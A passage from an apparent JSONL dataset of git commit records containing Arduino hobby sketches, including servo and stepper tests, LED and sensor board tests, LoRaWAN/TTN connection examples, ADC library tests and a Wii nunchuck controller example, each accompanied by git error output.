SetPosition(5, pos2);\n pos = pos++;\n pos2 = pos2--;\n delay(10);\n }\n\n while(pos >= 512){ \n SetPosition(4, pos);\n SetPosition(5, pos2);\n pos = pos--;\n pos2 = pos2++;\n delay(10);\n }\n \n delay(500); \n \n \/\/Wrist Servo Test\n \n Serial.println(\"Moving Servo ID: 6\");\n \n while(pos <= 712){ \n SetPosition(6, pos);\n pos = pos++;\n delay(10);\n }\n\n while(pos >= 512){ \n SetPosition(6, pos);\n pos = pos--;\n delay(10);\n }\n \n delay(500); \n \n \/\/Wrist Rotate Servo Test \n\n Serial.println(\"Moving Servo ID: 7\");\n \n while(pos >= 312){ \n SetPosition(7, pos);\n pos = pos--;\n delay(10);\n }\n\n while(pos <= 512){ \n SetPosition(7, pos);\n pos = pos++;\n delay(10);\n }\n \n delay(500); \n \n \/\/Gripper Servo Test \n \n Serial.println(\"Moving Servo ID: 8\");\n \n while(pos >= 312){ \n SetPosition(8, pos);\n pos = pos--;\n delay(10);\n }\n\n while(pos <= 512){ \n SetPosition(8, pos);\n pos = pos++;\n delay(10);\n }\n \n delay(500); \n \n}\n\nvoid RelaxServos(){\n id = 1;\n \/*Serial.println(\"###########################\");\n Serial.println(\"Relaxing Servos.\");\n Serial.println(\"###########################\"); \n *\/while(id <= SERVOCOUNT){\n Relax(id);\n id = (id++)%SERVOCOUNT;\n delay(50);\n }\n}\n \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'armTools\/ReactorMove_ino\/ReactorMove_ino_complete.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"77e51ee3d5436113f155bd87f639f4ec031821b7","subject":"added test for all the leds and the cny70s","message":"added test for all the leds and the cny70s\n","repos":"aitoralmeida\/wireless-tictactoe,aitoralmeida\/wireless-tictactoe","old_file":"tictactoe\/testBoard\/testAllSquares\/testAllSquares.ino","new_file":"tictactoe\/testBoard\/testAllSquares\/testAllSquares.ino","new_contents":"\n#include <Shiftduino.h>\n\nShiftduino sd(22, 24 , 23, 3);\nboolean testRed[] = {0, 1, 0, 1, 0, 1, 0, 1,\n 0, 1, 0, 1, 0, 1, 0, 1,\n 0, 1, 0, 1, 0, 1, 0, 1};\n \nboolean testGreen[] = {1, 0, 1, 0, 1, 0, 1, 0,\n 1, 0, 1, 0, 1, 0, 1, 0,\n 1, 0, 1, 0, 1, 0, 1, 0};\n \nboolean leds = true;\n\nvoid setup() {\n Serial.begin(9600); \n sd.clear(); \n sd.setPins(testGreen);\n delay(1000);\n sd.clear();\n}\n\nvoid loop() {\n if (leds){\n testLeds();\n } else{\n testCNY70();\n }\n \n}\n\nvoid testCNY70(){\n \/\/ Used analog pins for CNY70: [A8, A0]\n sd.clear(); \n \/\/ Change the analog ping to test each one\n int color = analogRead(A0);\n Serial.println(color);\n delay(300);\n}\n\nvoid testLeds(){\n sd.clear();\n sd.setPins(testRed);\n delay(300);\n sd.clear();\n sd.setPins(testGreen);\n delay(300);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tictactoe\/testBoard\/testAllSquares\/testAllSquares.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"edefb2966010f4579dd1b35aa28587328f0253d1","subject":"add serial","message":"add serial\n","repos":"ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR","old_file":"arduino\/opencr_arduino\/opencr\/libraries\/ROS\/examples\/02. Sensors\/b_cliff\/b_cliff.ino","new_file":"arduino\/opencr_arduino\/opencr\/libraries\/ROS\/examples\/02. Sensors\/b_cliff\/b_cliff.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/opencr_arduino\/opencr\/libraries\/ROS\/examples\/02.' did not match any file(s) known to git\nerror: pathspec 'Sensors\/b_cliff\/b_cliff.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"39a74e245562832e67b2372162cb563d9918cd4a","subject":"Example added","message":"Example added\n","repos":"moimart\/kikkei-iot","old_file":"kikkei-iot\/examples\/MotionSensing\/MotionSensing.ino","new_file":"kikkei-iot\/examples\/MotionSensing\/MotionSensing.ino","new_contents":"\/*\n Copyright (c) 2017 Kikkei Labs UG \n Author: Moises Martinez <moises@kikkei.com>\n*\/\n\n#include <MotionDetector.h>\n#include <SetupAP.h>\n\nkikkei::iot::TimeCounter timer;\nkikkei::iot::MotionDetector motion_detector(&timer);\nkikkei::iot::SetupAP setup_ap;\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"Starting....\");\n\n if (true) \/\/device setup\n {\n motion_detector.activate();\n }\n else\n {\n setup_ap.activate();\n }\n}\n\n\nvoid loop() \n{\n timer.update();\n\n if (true)\n motion_detector.tick();\n else\n setup_ap.tick();\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'kikkei-iot\/examples\/MotionSensing\/MotionSensing.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"44d976e0631d03efbb4d278c0b837dbf595b442a","subject":"Adding example sketch for connecting an Autonomy with LoRaBee to TTN over ABP or OTAA","message":"Adding example sketch for connecting an Autonomy with LoRaBee to TTN over ABP or OTAA\n","repos":"jpmeijers\/RN2483-Arduino-Library","old_file":"examples\/TTN-Autonomo-basic-connect\/TTN-autonomo-basic.ino","new_file":"examples\/TTN-Autonomo-basic-connect\/TTN-autonomo-basic.ino","new_contents":"\/*\n * Basic sketch for connecting\n * a Sodaq Autonomo equiped with a\n * LoRaBee to The Things Network\n *\n *\n *\/\n\n#include <rn2483.h>\n\n\/\/ Autonomo Serial port definitions.\n#define debugSerial SerialUSB\n#define loraSerial Serial1\n\n\n\/\/ create an instance of the Library.\nrn2483 myLora(loraSerial);\n\n\nvoid setup()\n{\n \/\/ Put power on the BeeSocket.\n digitalWrite(BEE_VCC, HIGH);\n\n \/\/ built_in led\n pinMode(LED_BUILTIN, OUTPUT);\n led_on();\n\n \/\/ make sure usb serial connection is available,\n \/\/ or after 10s go on anyway for 'headless' use of the\n \/\/ node.\n while ((!debugSerial) && (millis() < 10000));\n\n \/\/ beginning serial connections.\n debugSerial.begin(57600);\n loraSerial.begin(9600);\n\n \/\/\n debugSerial.println(F(\"--------------------------------\"));\n debugSerial.println(F(\"Basic sketch for connecting \"));\n debugSerial.println(F(\"to The ThingsNetwork\"));\n debugSerial.println(F(\"--------------------------------\"));\n led_off();\n\n initialize_radio();\n\n}\n\nvoid initialize_radio()\n{\n\n myLora.autobaud();\n\n debugSerial.println(\"DevEUI? \");debugSerial.print(F(\"> \"));\n debugSerial.println(myLora.hweui());\n debugSerial.println(\"Version?\");debugSerial.print(F(\"> \"));\n debugSerial.println(myLora.sysver());\n debugSerial.println(F(\"--------------------------------\"));\n\n debugSerial.println(F(\"Trying to join TTN\"));\n bool join_result = false;\n\n\n \/\/ABP: initABP(String addr, String AppSKey, String NwkSKey);\n join_result = myLora.initABP(\"02017201\", \"8D7FFEF938589D95AAD928C2E2E7E48F\", \"AE17E567AECC8787F749A62F5541D522\");\n\n \/\/OTAA: initOTAA(String AppEUI, String AppKey);\n \/\/join_result = myLora.initOTAA(\"70B3D57ED00001A6\", \"A23C96EE13804963F8C2BD6285448198\");\n\n while(!join_result)\n {\n debugSerial.println(\"\\u2A2F Unable to join. Are your keys correct, and do you have TTN coverage?\");\n delay(30000); \/\/delay 30s before retry\n join_result = myLora.init();\n }\n debugSerial.println(\"\\u2713 Successfully joined TTN\");\n\n\n}\n\n\n\n\nvoid loop()\n{\n led_on();\n debugSerial.println(F(\"> TXing\"));\n myLora.tx(\"!\"); \/\/one byte, blocking function\n led_off();\n\n \/\/ delay it a little bit\n \/\/ but the library manages the real dutycycle check.\n delay(200);\n}\n\n\nvoid led_on()\n{\n digitalWrite(LED_BUILTIN, 1);\n}\n\nvoid led_off()\n{\n digitalWrite(LED_BUILTIN, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TTN-Autonomo-basic-connect\/TTN-autonomo-basic.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bcaef8553e9bb273f4da812c23e0232b4a07302a","subject":"test ADC library","message":"test ADC library\n","repos":"pedvide\/ADC,pedvide\/ADC","old_file":"examples\/adc_test\/adc_test.ino","new_file":"examples\/adc_test\/adc_test.ino","new_contents":"\/* Test suite for the ADC library\n*\/\n\n#include <ADC.h>\n\nADC *adc = new ADC(); \/\/ adc object\n\n#if defined(ADC_TEENSY_LC) \/\/ teensy LC\n#define PINS 13\n#define DIG_PINS 13\n#define PINS_DIFF 2\nuint8_t adc_pins[] = {A0,A1,A2,A3,A4,A5,A6,A7,A8, A9,A10,A11, A12};\nuint8_t adc_pins_dig[] = {A0,A1,A2,A3,A4,A5,A6,A7,A8, A9,A10,A11, A12};\nuint8_t adc_pins_diff[] = {A10, A11};\n\n#elif defined(ADC_TEENSY_3_0) \/\/ teensy 3.0\n#define PINS 14\n#define DIG_PINS 10\n#define PINS_DIFF 4\nuint8_t adc_pins[] = {A0,A1,A2,A3,A4,A5,A6,A7,A8,A9,A10,A11,A12,A13};\nuint8_t adc_pins_dig[] = {A0,A1,A2,A3,A4,A5,A6,A7,A8,A9};\nuint8_t adc_pins_diff[] = {A10, A11, A12, A13};\n\n#elif defined(ADC_TEENSY_3_1) || defined(ADC_TEENSY_3_2) \/\/ teensy 3.1\/3.2\n#define PINS 21\n#define DIG_PINS 16\n#define PINS_DIFF 4\nuint8_t adc_pins[] = {A0,A1,A2,A3,A4,A5,A6,A7,A8,A9,A10,A11,A12,A13,\n A14, A15,A16,A17,A18,A19,A20 };\nuint8_t adc_pins_dig[] = {A0,A1,A2,A3,A4,A5,A6,A7,A8,A9, A15,A16,A17,A18,A19,A20 };\nuint8_t adc_pins_diff[] = {A10, A11, A12, A13};\n\n#elif defined(ADC_TEENSY_3_5) \/\/ Teensy 3.5\n#define PINS 27\n#define DIG_PINS 21\n#define PINS_DIFF 2\nuint8_t adc_pins[] = {A0,A1,A2,A3,A4,A5,A6,A7,A8, A9, A10,\n A11,A12,A13,A14,A15,A16,A17,A18,A19,A20,A21,A22,A23,A24, A25, A26};\nuint8_t adc_pins_dig[] = {A0,A1,A2,A3,A4,A5,A6,A7,A8, A9, A12,A13,A14,A15,A16,A17,A18,A19,A20,A23,A24};\nuint8_t adc_pins_diff[] = {A10, A11};\n\n#elif defined(ADC_TEENSY_3_6) \/\/ Teensy 3.6\n#define PINS 25\n#define DIG_PINS 21\n#define PINS_DIFF 2\nuint8_t adc_pins[] = {A0,A1,A2,A3,A4,A5,A6,A7,A8, A9, A10,\n A11,A12,A13,A14,A15,A16,A17,A18,A19,A20,A21,A22,A23,A24};\nuint8_t adc_pins_dig[] = {A0,A1,A2,A3,A4,A5,A6,A7,A8, A9, A12,A13,A14,A15,A16,A17,A18,A19,A20,A23,A24};\nuint8_t adc_pins_diff[] = {A10, A11};\n#endif \/\/ defined\n\nvoid setup() {\n\n pinMode(LED_BUILTIN, OUTPUT);\n\n for (int i=0;i<PINS;i++) {\n pinMode(adc_pins[i], INPUT);\n }\n\n Serial.begin(9600);\n\n\n \/\/\/\/\/ ADC0 \/\/\/\/\n \/\/ reference can be ADC_REFERENCE::REF_3V3, ADC_REFERENCE::REF_1V2 (not for Teensy LC) or ADC_REFERENCE::REF_EXT.\n \/\/adc->setReference(ADC_REFERENCE::REF_1V2, ADC_NUM::ADC_0); \/\/ change all 3.3 to 1.2 if you change the reference to 1V2\n\n adc->setAveraging(16); \/\/ set number of averages\n adc->setResolution(16); \/\/ set bits of resolution\n\n \/\/ it can be any of the ADC_CONVERSION_SPEED enum: VERY_LOW_SPEED, LOW_SPEED, MED_SPEED, HIGH_SPEED_16BITS, HIGH_SPEED or VERY_HIGH_SPEED\n \/\/ see the documentation for more information\n \/\/ additionally the conversion speed can also be ADACK_2_4, ADACK_4_0, ADACK_5_2 and ADACK_6_2,\n \/\/ where the numbers are the frequency of the ADC clock in MHz and are independent on the bus speed.\n adc->setConversionSpeed(ADC_CONVERSION_SPEED::VERY_LOW_SPEED); \/\/ change the conversion speed\n \/\/ it can be any of the ADC_MED_SPEED enum: VERY_LOW_SPEED, LOW_SPEED, MED_SPEED, HIGH_SPEED or VERY_HIGH_SPEED\n adc->setSamplingSpeed(ADC_SAMPLING_SPEED::VERY_LOW_SPEED); \/\/ change the sampling speed\n\n \/\/ always call the compare functions after changing the resolution!\n \/\/adc->enableCompare(1.0\/3.3*adc->getMaxValue(ADC_NUM::ADC_0), 0, ADC_NUM::ADC_0); \/\/ measurement will be ready if value < 1.0V\n \/\/adc->enableCompareRange(1.0*adc->getMaxValue(ADC_NUM::ADC_0)\/3.3, 2.0*adc->getMaxValue(ADC_NUM::ADC_0)\/3.3, 0, 1, ADC_NUM::ADC_0); \/\/ ready if value lies out of [1.0,2.0] V\n\n \/\/ If you enable interrupts, notice that the isr will read the result, so that isComplete() will return false (most of the time)\n \/\/adc->enableInterrupts(ADC_NUM::ADC_0);\n\n\n \/\/\/\/\/\/ ADC1 \/\/\/\/\/\n #if ADC_NUM_ADCS>1\n adc->setAveraging(16, ADC_NUM::ADC_1); \/\/ set number of averages\n adc->setResolution(16, ADC_NUM::ADC_1); \/\/ set bits of resolution\n adc->setConversionSpeed(ADC_CONVERSION_SPEED::VERY_LOW_SPEED, ADC_NUM::ADC_1); \/\/ change the conversion speed\n adc->setSamplingSpeed(ADC_SAMPLING_SPEED::VERY_LOW_SPEED, ADC_NUM::ADC_1); \/\/ change the sampling speed\n\n \/\/adc->setReference(ADC_REFERENCE::REF_1V2, ADC_NUM::ADC_1);\n\n \/\/ always call the compare functions after changing the resolution!\n \/\/adc->enableCompare(1.0\/3.3*adc->getMaxValue(ADC_NUM::ADC_1), 0, ADC_NUM::ADC_1); \/\/ measurement will be ready if value < 1.0V\n \/\/adc->enableCompareRange(1.0*adc->getMaxValue(ADC_NUM::ADC_1)\/3.3, 2.0*adc->getMaxValue(ADC_NUM::ADC_1)\/3.3, 0, 1, ADC_NUM::ADC_1); \/\/ ready if value lies out of [1.0,2.0] V\n\n\n \/\/ If you enable interrupts, note that the isr will read the result, so that isComplete() will return false (most of the time)\n \/\/adc->enableInterrupts(ADC_NUM::ADC_1);\n\n #endif\n\n delay(500);\n}\n\nint value = 0;\nint pin=0;\n\nvoid test_pull(bool pullup) {\n uint8_t mode = pullup ? INPUT_PULLUP : INPUT_PULLDOWN;\n\n for (int i=0;i<DIG_PINS;i++) {\n pinMode(adc_pins[i], mode);\n value = adc->analogRead(adc_pins_dig[i]);\n if (value < 3.2) {\n Serial.print(\"A\"); Serial.print(i); Serial.print(\": \");\n Serial.print(\"FAILED \"); Serial.print(pullup ? \"INPUT_PULLUP\" : \"INPUT_PULLDOWN\"); Serial.println(\". \");\n }\n }\n}\n\n\nvoid loop() {\n\n test_pull(true);\n test_pull(false);\n\n\n \/\/ Print errors, if any.\n adc->printError();\n adc->resetError();\n\n\n \/\/digitalWriteFast(LED_BUILTIN, !digitalReadFast(LED_BUILTIN));\n\n delay(500);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/adc_test\/adc_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e6edfabe6e03ec1d1f0b4bc75fefcdc28c30fe37","subject":"Added OTA","message":"Added OTA\n","repos":"csgregg\/maker","old_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/csgregg\/maker.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"94c9d79ce3685213323c50b7ee8ee024eeee4d73","subject":"change debug","message":"change debug\n","repos":"csgregg\/maker","old_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/csgregg\/maker.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"826b0c2a4d57efd061eab00c3d952327b2598986","subject":"Add a hello-world app for TTN OTAA and Adafruit Feather M0 LoRa.","message":"Add a hello-world app for TTN OTAA and Adafruit Feather M0 LoRa.\n","repos":"mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic","old_file":"examples\/ttn-otaa-feather-us915\/ttn-otaa-feather-us915.ino","new_file":"examples\/ttn-otaa-feather-us915\/ttn-otaa-feather-us915.ino","new_contents":"\/*******************************************************************************\n * Copyright (c) 2015 Thomas Telkamp and Matthijs Kooijman\n *\n * Permission is hereby granted, free of charge, to anyone\n * obtaining a copy of this document and accompanying files,\n * to do whatever they want with them without any restriction,\n * including, but not limited to, copying, modification and redistribution.\n * NO WARRANTY OF ANY KIND IS PROVIDED.\n *\n * This example sends a valid LoRaWAN packet with payload \"Hello,\n * world!\", using frequency and encryption settings matching those of\n * the The Things Network.\n *\n * This uses OTAA (Over-the-air activation), where where a DevEUI and\n * application key is configured, which are used in an over-the-air\n * activation procedure where a DevAddr and session keys are\n * assigned\/generated for use with all further communication.\n *\n * Note: LoRaWAN per sub-band duty-cycle limitation is enforced (1% in\n * g1, 0.1% in g2), but not the TTN fair usage policy (which is probably\n * violated by this sketch when left running for longer)!\n\n * To use this sketch, first register your application and device with\n * the things network, to set or generate an AppEUI, DevEUI and AppKey.\n * Multiple devices can use the same AppEUI, but each device has its own\n * DevEUI and AppKey.\n *\n * Do not forget to define the radio type correctly in config.h.\n *\n *******************************************************************************\/\n\n#include <lmic.h>\n#include <hal\/hal.h>\n#include <SPI.h>\n\n#ifdef COMPILE_REGRESSION_TEST\n# define FILLMEIN 0\n#else\n# error \"You must replace the values marked FILLMEIN with reall values from theTTN control panel!\"\n#endif\n\n\/\/ This EUI must be in little-endian format, so least-significant-byte\n\/\/ first. When copying an EUI from ttnctl output, this means to reverse\n\/\/ the bytes. For TTN issued EUIs the last bytes should be 0xD5, 0xB3,\n\/\/ 0x70.\nstatic const u1_t PROGMEM APPEUI[8]= { FILLMEIN };\nvoid os_getArtEui (u1_t* buf) { memcpy_P(buf, APPEUI, 8);}\n\n\/\/ This should also be in little endian format, see above.\nstatic const u1_t PROGMEM DEVEUI[8]= { FILLMEIN };\nvoid os_getDevEui (u1_t* buf) { memcpy_P(buf, DEVEUI, 8);}\n\n\/\/ This key should be in big endian format (or, since it is not really a\n\/\/ number but a block of memory, endianness does not really apply). In\n\/\/ practice, a key taken from the TTN console can be copied as-is.\nstatic const u1_t PROGMEM APPKEY[16] = { FILLMEIN };\nvoid os_getDevKey (u1_t* buf) { memcpy_P(buf, APPKEY, 16);}\n\nstatic uint8_t mydata[] = \"Hello, world!\";\nstatic osjob_t sendjob;\n\n\/\/ Schedule TX every this many seconds (might become longer due to duty\n\/\/ cycle limitations).\nconst unsigned TX_INTERVAL = 60;\n\n\/\/ Pin mapping\nconst lmic_pinmap lmic_pins = {\n .nss = 8,\n .rxtx = LMIC_UNUSED_PIN,\n .rst = 4,\n .dio = { 3, 6, LMIC_UNUSED_PIN },\n};\n\nvoid onEvent (ev_t ev) {\n Serial.print(os_getTime());\n Serial.print(\": \");\n switch(ev) {\n case EV_SCAN_TIMEOUT:\n Serial.println(F(\"EV_SCAN_TIMEOUT\"));\n break;\n case EV_BEACON_FOUND:\n Serial.println(F(\"EV_BEACON_FOUND\"));\n break;\n case EV_BEACON_MISSED:\n Serial.println(F(\"EV_BEACON_MISSED\"));\n break;\n case EV_BEACON_TRACKED:\n Serial.println(F(\"EV_BEACON_TRACKED\"));\n break;\n case EV_JOINING:\n Serial.println(F(\"EV_JOINING\"));\n break;\n case EV_JOINED:\n Serial.println(F(\"EV_JOINED\"));\n {\n u4_t netid = 0;\n devaddr_t devaddr = 0;\n u1_t nwkKey[16];\n u1_t artKey[16];\n LMIC_getSessionKeys(&netid, &devaddr, nwkKey, artKey);\n Serial.print(\"netid: \");\n Serial.println(netid, DEC);\n Serial.print(\"devaddr: \");\n Serial.println(devaddr, HEX);\n Serial.print(\"artKey: \");\n for (int i=0; i<sizeof(artKey); ++i) {\n Serial.print(artKey[i], HEX);\n }\n Serial.println(\"\");\n Serial.print(\"nwkKey: \");\n for (int i=0; i<sizeof(nwkKey); ++i) {\n Serial.print(nwkKey[i], HEX);\n }\n Serial.println(\"\");\n\n LMIC_setSeqnoUp(140);\n }\n \/\/ Disable link check validation (automatically enabled\n \/\/ during join, but not supported by TTN at this time).\n LMIC_setLinkCheckMode(0);\n break;\n case EV_RFU1:\n Serial.println(F(\"EV_RFU1\"));\n break;\n case EV_JOIN_FAILED:\n Serial.println(F(\"EV_JOIN_FAILED\"));\n break;\n case EV_REJOIN_FAILED:\n Serial.println(F(\"EV_REJOIN_FAILED\"));\n break;\n break;\n case EV_TXCOMPLETE:\n Serial.println(F(\"EV_TXCOMPLETE (includes waiting for RX windows)\"));\n if (LMIC.txrxFlags & TXRX_ACK)\n Serial.println(F(\"Received ack\"));\n if (LMIC.dataLen) {\n Serial.println(F(\"Received \"));\n Serial.println(LMIC.dataLen);\n Serial.println(F(\" bytes of payload\"));\n }\n \/\/ Schedule next transmission\n os_setTimedCallback(&sendjob, os_getTime()+sec2osticks(TX_INTERVAL), do_send);\n break;\n case EV_LOST_TSYNC:\n Serial.println(F(\"EV_LOST_TSYNC\"));\n break;\n case EV_RESET:\n Serial.println(F(\"EV_RESET\"));\n break;\n case EV_RXCOMPLETE:\n \/\/ data received in ping slot\n Serial.println(F(\"EV_RXCOMPLETE\"));\n break;\n case EV_LINK_DEAD:\n Serial.println(F(\"EV_LINK_DEAD\"));\n break;\n case EV_LINK_ALIVE:\n Serial.println(F(\"EV_LINK_ALIVE\"));\n break;\n default:\n Serial.println(F(\"Unknown event\"));\n break;\n }\n}\n\nvoid do_send(osjob_t* j){\n \/\/ Check if there is not a current TX\/RX job running\n if (LMIC.opmode & OP_TXRXPEND) {\n Serial.println(F(\"OP_TXRXPEND, not sending\"));\n } else {\n \/\/ Prepare upstream data transmission at the next possible time.\n LMIC_setTxData2(1, mydata, sizeof(mydata)-1, 0);\n Serial.println(F(\"Packet queued\"));\n }\n \/\/ Next TX is scheduled after TX_COMPLETE event.\n}\n\nvoid setup() {\n delay(5000);\n while (! Serial)\n ;\n Serial.begin(9600);\n Serial.println(F(\"Starting\"));\n\n #ifdef VCC_ENABLE\n \/\/ For Pinoccio Scout boards\n pinMode(VCC_ENABLE, OUTPUT);\n digitalWrite(VCC_ENABLE, HIGH);\n delay(1000);\n #endif\n\n \/\/ LMIC init\n os_init();\n \/\/ Reset the MAC state. Session and pending data transfers will be discarded.\n LMIC_reset();\n\n LMIC_setLinkCheckMode(0);\n LMIC_setDrTxpow(DR_SF7,14);\n LMIC_selectSubBand(1);\n\n \/\/ Start job (sending automatically starts OTAA too)\n do_send(&sendjob);\n}\n\nvoid loop() {\n os_runloop_once();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ttn-otaa-feather-us915\/ttn-otaa-feather-us915.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f2f164c4e6f5904ccd5a889b0337b070bec04ed8","subject":"Delete ESPArto_pinDefEncoder.ino","message":"Delete ESPArto_pinDefEncoder.ino","repos":"philbowles\/esparto,philbowles\/esparto,philbowles\/esparto,philbowles\/esparto","old_file":"examples\/ESPArto_pinDefEncoder\/ESPArto_pinDefEncoder.ino","new_file":"examples\/ESPArto_pinDefEncoder\/ESPArto_pinDefEncoder.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/philbowles\/esparto.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"da0a0043662a9892d3167284a2de413fe6a913dc","subject":"add basic click control example with nunchuck","message":"add basic click control example with nunchuck\n","repos":"Comingle\/OSSex","old_file":"examples\/nunchuck_basic_click\/nunchuck_basic_click.ino","new_file":"examples\/nunchuck_basic_click\/nunchuck_basic_click.ino","new_contents":"\/* Nunchuck basic click example -- sets the C button to immediately stop\n * whatever pattern is playing, and the Z button to increase power\n * Craig Durkin \/ Comingle - Jul 14, 2015\n *\/\n\n#include <OSSex.h>\n#include <Wire.h>\n#include <WiiChuck.h>\n\n\/\/ Create the nunchuck object\n\/\/ c_update and z_update are the button update functions. OSSex\/OneButton normally works\n\/\/ only with physical buttons (something that is measurably high or low on a digital\n\/\/ input), but can also work with any function that returns 0\/1, high\/low, true\/false.\nWiiChuck nunchuck = WiiChuck(c_update, z_update);\n\nbool c_update() {\n return nunchuck.cPressed();\n}\n\nbool z_update() {\n return nunchuck.zPressed();\n}\n\n\/\/ c_click is the function that gets called when a click is detected\n\/\/ on the C button. So OSSex\/OneButton continously monitors c_update(), \n\/\/ and when it gets a high\/true value, it runs c_click()\nvoid c_click() {\n Toy.stop();\n}\n\n\/\/ Likewise for z_update, z_click.\nvoid z_click() {\n Toy.increasePower();\n}\n\nvoid setup() {\n \/\/ The nunchuck communicates over the I2C protocol. This line sets the Mod\/Dilduino's\n \/\/ Hacker Port to I2C mode.\n Toy.setHackerPort(HACKER_PORT_I2C);\n\n \/\/ Open the I2C connection\n nunchuck.begin();\n\n \/\/ Attach our click handlers\n nunchuck.attachCClick(c_click);\n nunchuck.attachZClick(z_click);\n\n \/\/ Queue up our vibration patterns\n Toy.addPattern(sharp_ramp);\n Toy.addPattern(weird2);\n Toy.addPattern(weird3);\n Toy.addPattern(flicker);\n Toy.addPattern(second);\n}\n\nvoid loop() {\n \/\/ Poll the I2C connection for updates (button clicks, but also \n \/\/ acceleration changes and joystick movements)\n nunchuck.update();\n}\n\n\/\/ Some patterns to control\nint sharp_ramp(int seq) {\n \/\/ neat exponential sequence inspired by github\/jgeisler0303\n const uint8_t fadeTable[32] = {0, 1, 1, 2, 2, 2, 3, 3, 4, 5, 6, 7, 9, 10, 12, 15, 17, 21, 25, 30, 36, 43, 51, 61, 73, 87, 104, 125, 149, 178, 213, 255};\n seq %= 32;\n Toy.step[0] = Toy.step[1] = Toy.step[2] = fadeTable[seq];\n Toy.step[3] = 12 ;\n return 1;\n}\nint weird2(int seq) {\n Toy.step[2] = round(127*cos(tan(tan(seq\/(8*PI)))-PI\/2)+127);\n Toy.step[3] = 30;\n return 1;\n}\nint weird3(int seq) {\n Toy.step[2] = round(50*(cos(seq\/(8*PI)+PI\/2) + sin(seq\/2))+100);\n Toy.step[3] = 30;\n return 1;\n}\n\/\/ Turn on all outputs slightly offset from each other.\nint flicker(int seq) {\n \/\/ set all motors initially to -1, ie \"leave it alone\"\n Toy.step[0] = Toy.step[1] = Toy.step[2] = -1;\n\n if (seq > 2) {\n Toy.step[3] = 200;\n } else {\n Toy.step[3] = 20;\n }\n\n seq %= 3;\n Toy.step[seq] = 80;\n\n return 1;\n}\n\/\/ Second motor only\nint second(int seq) {\n Toy.step[0] = 0;\n Toy.step[1] = 100;\n Toy.step[2] = 0;\n Toy.step[3] = 50;\n return 1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/nunchuck_basic_click\/nunchuck_basic_click.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"256a6a54ddcb1c23b3f1bb20d055d2ed59bf3865","subject":"added arduino code to control the stepper motors","message":"added arduino code to control the stepper motors\n","repos":"sherrardTr4129\/LabLocal","old_file":"StepperDriver\/StepperDriver.ino","new_file":"StepperDriver\/StepperDriver.ino","new_contents":"int xcoordinate = 0;\nint ycoordinate = 0;\ndouble baseAngle = 0;\ndouble ArmAngle = 0;\nint INPUT_SIZE = 40;\n\n#include <AFMotor.h>\n\n\/\/ Connect a stepper motor with 48 steps per revolution (7.5 degree)\n\/\/ to motor port #2 (M3 and M4)\nAF_Stepper motor(200, 1);\n\nvoid setup() {\n Serial.begin(9600); \/\/ set up Serial library at 9600 bps\n Serial.println(\"Stepper test!\");\n\n motor.setSpeed(10); \/\/ 10 rpm \n}\n\nvoid forwardBase(int stepnum)\n{\n motor.step(stepnum, FORWARD, SINGLE); \n}\n\nvoid reverseBase(int stepnum)\n{\n motor.step(stepnum, BACKWARD, SINGLE); \n}\n\n\nvoid parseSerial()\n{\n\n \/\/ Get next command from Serial (add 1 for final 0)\n char input[INPUT_SIZE + 1];\n byte size = Serial.readBytes(input, INPUT_SIZE);\n \/\/ Add the final 0 to end the C string\n input[size] = 0;\n\n \/\/ Read each command pair \n char* command = strtok(input, \"&\");\n while (command != 0)\n {\n \/\/ Split the command in two values\n char* separator = strchr(command, ':');\n if (separator != 0)\n {\n \/\/ Actually split the string in 2: replace ':' with 0\n *separator = 0;\n xcoordinate = atoi(command);\n ++separator;\n ycoordinate = atoi(separator);\n\n \/\/ Do something with servoId and position\n }\n \/\/ Find the next command in input string\n command = strtok(0, \"&\");\n }\n}\n\nvoid loop() {\n parseSerial();\n 